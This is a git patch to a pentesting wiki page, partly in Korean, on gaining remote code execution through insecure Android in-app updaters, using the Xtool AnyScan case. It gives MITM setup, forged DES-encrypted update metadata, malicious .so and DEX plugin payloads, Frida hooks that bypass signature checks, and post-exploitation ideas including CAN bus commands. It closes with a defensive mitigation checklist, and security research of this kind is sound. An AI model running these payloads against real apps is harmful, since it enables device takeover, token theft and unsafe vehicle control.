From dc75da53f50f75060cdf46ebfbf5c63c1175a2ff Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 04:08:58 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap --- .../insecure-in-app-update-rce.md | 192 ++++++++++++++---- 1 file changed, 151 insertions(+), 41 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index d9ef3d0b8..ef725603e 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -2,15 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -많은 Android 애플리케이션이 Google Play 스토어 대신 **자체 “플러그인” 또는 “동적 기능” 업데이트 채널**을 구현합니다. 구현이 안전하지 않으면, 트래픽을 가로챌 수 있는 공격자가 **앱 프로세스 내에서 로드될 임의의 네이티브 코드를 제공할 수** 있으며, 이는 핸드셋에서 완전한 원격 코드 실행(RCE)으로 이어질 수 있습니다 – 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료 기기 등)에서도 가능합니다. +많은 Android 애플리케이션은 Google Play Store를 사용하지 않고 자체적인 “plugin” 또는 “dynamic feature” 업데이트 채널을 구현합니다. 구현이 안전하지 않으면 업데이트 트래픽을 가로채거나 변조할 수 있는 공격자가 앱 프로세스 내에서 로드될 임의의 네이티브 또는 Dalvik/ART 코드를 공급할 수 있으며, 이는 핸드셋에서의 완전한 Remote Code Execution (RCE)로 이어지고 — 경우에 따라 앱이 제어하는 외부 장치(자동차, IoT, 의료기기 …)에서도 영향을 미칠 수 있습니다. -이 페이지는 Xtool **AnyScan** 자동차 진단 앱(v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 이 기술을 일반화하여 다른 Android 앱을 감사하고 레드팀 참여 중 잘못된 구성을 무기화할 수 있도록 합니다. +이 페이지는 Xtool AnyScan automotive-diagnostics 앱 (v4.40.11 → 4.40.40)에서 발견된 실제 취약점 체인을 요약하고, 다른 Android 앱을 감사하고 red-team 참여 시 잘못된 구성(mis-configuration)을 무기화할 수 있도록 기법을 일반화합니다. --- -## 1. Insecure TLS TrustManager 식별하기 +## 0. Quick triage: does the app have an in‑app updater? -1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit 등)을 찾습니다. -2. 모든 인증서를 맹목적으로 신뢰하는 **커스텀 `TrustManager`** 또는 `HostnameVerifier`를 찾습니다: +Static hints to look for in JADX/apktool: +- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs). +- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX. + +Runtime hooks to confirm: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. 안전하지 않은 TLS TrustManager 식별 + +1. jadx / apktool로 APK를 디컴파일하고 네트워킹 스택(OkHttp, HttpUrlConnection, Retrofit…)을 찾는다. +2. 모든 인증서를 무턱대고 신뢰하는 커스텀 `TrustManager` 또는 `HostnameVerifier`를 찾는다: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. 존재하는 경우 애플리케이션은 **모든 TLS 인증서**를 수락합니다 → 자체 서명된 인증서로 투명한 **MITM 프록시**를 실행할 수 있습니다: +3. 존재할 경우 애플리케이션은 모든 TLS certificate를 수락합니다 → 투명 MITM proxy를 self-signed cert로 실행할 수 있습니다: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. 업데이트 메타데이터 리버스 엔지니어링 +If TLS pinning이 적용되어 unsafe trust-all logic 대신 작동하는 경우, 다음을 참조하세요: -AnyScan 사례에서 각 앱 실행은 다음에 대한 HTTPS GET을 트리거합니다: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Reverse-Engineering the Update Metadata + +AnyScan의 경우, 앱 실행 시마다 다음으로 HTTPS GET 요청을 보냅니다: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -응답 본문은 모든 사용 가능한 플러그인을 설명하는 **Base64로 인코딩되고, DES-ECB로 암호화된** JSON을 포함하는 **XML 문서**입니다. +응답 본문은 XML 문서이며, `` 노드들은 사용 가능한 각 플러그인을 설명하는 Base64로 인코딩된, DES-ECB로 암호화된 JSON을 포함한다. -전형적인 헌팅 단계: -1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 복구합니다: -* 알고리즘 (DES / AES / RC4 …) -* 작동 모드 (ECB / CBC / GCM …) -* 하드코딩된 키 / IV (종종 상수에서 56비트 DES 키 또는 128비트 AES 키) -2. 메타데이터를 복호화/암호화하기 위해 Python에서 함수를 재구현합니다: +Typical hunting steps: +1. 암호화 루틴(예: `RemoteServiceProxy`)을 찾고 다음을 확인한다: +- 알고리즘 (DES / AES / RC4 …) +- 작동 모드 (ECB / CBC / GCM …) +- 하드코드된 키 / IV (commonly 56‑bit DES or 128‑bit AES constants) +2. 메타데이터를 복호화/암호화하기 위해 해당 함수를 Python으로 재구현한다: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. 악성 플러그인 만들기 +현장에서 관찰된 사항 (2023–2025): +- 메타데이터는 종종 JSON-within-XML 또는 protobuf 형태이며, 약한 암호화와 정적 키가 흔합니다. +- 많은 업데이트 프로그램이 메타데이터는 HTTPS로 전달되더라도 실제 payload 다운로드에는 평문 HTTP를 허용합니다. +- 플러그인들은 자주 앱 내부 저장소로 압축을 풀며; 일부는 여전히 외부 저장소나 레거시 `requestLegacyExternalStorage`를 사용해 앱 간 변조를 가능하게 합니다. -1. 합법적인 플러그인 ZIP을 선택하고 네이티브 라이브러리를 당신의 페이로드로 교체합니다: +--- +## 3. 악성 플러그인 제작 + +### 3.1 네이티브 라이브러리 경로 (dlopen/System.load[Library]) + +1. 정식 plugin ZIP 하나를 골라 네이티브 라이브러리를 당신의 payload로 교체합니다: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. JSON 메타데이터를 업데이트하여 `"FileName" : "PWNED.zip"`로 설정하고 `"DownloadURL"`이 당신의 HTTP 서버를 가리키도록 합니다. -3. 수정된 JSON을 DES로 암호화한 후 Base64로 인코딩하고 가로챈 XML 안에 다시 복사합니다. +2. JSON 메타데이터를 수정하여 `"FileName" : "PWNED.zip"` 및 `"DownloadURL"`이 당신의 HTTP 서버를 가리키도록 합니다. +3. 수정한 JSON을 재암호화하고 Base64 인코딩한 뒤, 가로챈 XML 내부에 다시 복사합니다. +### 3.2 Dex-based plugin path (DexClassLoader) + +일부 앱은 JAR/APK를 다운로드하고 `DexClassLoader`를 통해 코드를 로드합니다. 로드 시 트리거되는 악성 DEX를 작성하세요: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +대상이 `Class.forName("pwn.Dropper")`를 호출하면 정적 초기화자가 실행됩니다; 그렇지 않으면 Frida로 로드된 클래스를 리플렉티브하게 열거하고 익스포트된 메서드를 호출합니다. + +--- ## 4. mitmproxy로 페이로드 전달 -`addon.py` 예제는 원본 메타데이터를 *조용히* 교체합니다: +`addon.py` 예제: 원본 메타데이터를 조용히 교체합니다: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -악성 ZIP 파일을 호스팅하기 위해 간단한 웹 서버를 실행합니다: +악성 ZIP/JAR를 호스팅하기 위해 간단한 웹 서버를 실행합니다: ```bash python3 -m http.server 8000 --directory ./payloads ``` -피해자가 앱을 실행하면 다음과 같은 작업을 수행합니다: -* MITM 채널을 통해 위조된 XML을 가져옵니다; -* 하드코딩된 DES 키로 이를 복호화하고 파싱합니다; -* `PWNED.zip`을 다운로드 → 개인 저장소에 압축 해제합니다; -* 포함된 *libscan_x64.so*를 `dlopen()`하여 앱의 권한으로 **즉시 코드를 실행**합니다 (카메라, GPS, 블루투스, 파일 시스템 등). +When the victim launches the app it will: +- MITM 채널을 통해 우리가 위조한 XML을 fetch합니다; +- 하드코딩된 crypto로 이를 decrypt & parse합니다; +- `PWNED.zip` 또는 `plugin.jar`을 download → private storage 내부에 unzip합니다; +- 포함된 `.so` 또는 DEX를 load하여 즉시 앱 권한(카메라, GPS, Bluetooth, filesystem, …)으로 우리 코드를 실행합니다. -플러그인이 디스크에 캐시되기 때문에 백도어는 **재부팅 간에 지속**되며 사용자가 관련 기능을 선택할 때마다 실행됩니다. - -## 5. 포스트 익스플로잇 아이디어 - -* 앱에 의해 저장된 세션 쿠키, OAuth 토큰 또는 JWT를 훔칩니다. -* 두 번째 단계 APK를 드롭하고 `pm install`을 통해 조용히 설치합니다 (앱은 이미 `REQUEST_INSTALL_PACKAGES` 권한을 가지고 있습니다). -* 연결된 하드웨어를 남용합니다 – AnyScan 시나리오에서는 임의의 **OBD-II / CAN 버스 명령**을 전송할 수 있습니다 (문 잠금 해제, ABS 비활성화 등). +Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature. --- -### 탐지 및 완화 체크리스트 (블루 팀) +## 4.1 Bypassing signature/hash checks (when present) -* 인증서 검증을 비활성화하는 사용자 정의 TrustManager/HostnameVerifier가 포함된 프로덕션 빌드를 절대 배포하지 마십시오. -* Google Play 외부에서 실행 가능한 코드를 다운로드하지 마십시오. *필요한 경우*, 각 플러그인을 동일한 **apkSigning v2** 키로 서명하고 로드하기 전에 서명을 확인하십시오. -* 약한/하드코딩된 암호화를 **AES-GCM** 및 서버 측 회전 키로 교체하십시오. -* 다운로드한 아카이브의 무결성을 검증하십시오 (서명 또는 최소한 SHA-256). +If the updater validates signatures or hashes, hook verification to always accept attacker content: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +또한 `PluginVerifier.verifySignature()`, `checkHash()` 같은 벤더 메서드를 스텁하거나 Java 또는 JNI에서 업데이트 게이팅 로직을 쇼트‑서킷하는 것을 고려하세요. --- -## 참조 +## 5. Other attack surfaces in updaters (2023–2025) -- [NowSecure – Xtool AnyScan 앱에서 발견된 원격 코드 실행](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – 안전하지 않은 TrustManager 패턴](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data//files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists. +- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this. +- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap. +- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive. +- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification. + +--- +## 6. Post-Exploitation Ideas + +- Steal session cookies, OAuth tokens, or JWTs stored by the app. +- Drop a second-stage APK and silently install it via `pm install` if possible (some apps already declare `REQUEST_INSTALL_PACKAGES`). +- Abuse any connected hardware – in the AnyScan scenario you can send arbitrary OBD‑II / CAN bus commands (unlock doors, disable ABS, etc.). + +--- +### Detection & Mitigation Checklist (blue team) + +- Avoid dynamic code loading and out‑of‑store updates. Prefer Play‑mediated updates. If dynamic plugins are a hard requirement, design them as data‑only bundles and keep executable code in the base APK. +- Enforce TLS properly: no custom trust‑all managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic. +- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developer‑held key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed. +- Use modern crypto (AES‑GCM) with per‑message nonces for metadata; remove hard‑coded keys from clients. +- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHA‑256 hashes. Reject extra/unknown files. +- Store downloads in app‑internal storage (or scoped storage on Android 10+) and use file permissions that prevent cross‑app tampering. +- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or `..` segments. +- Consider Play “Code Transparency” to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing). + +--- +## References + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}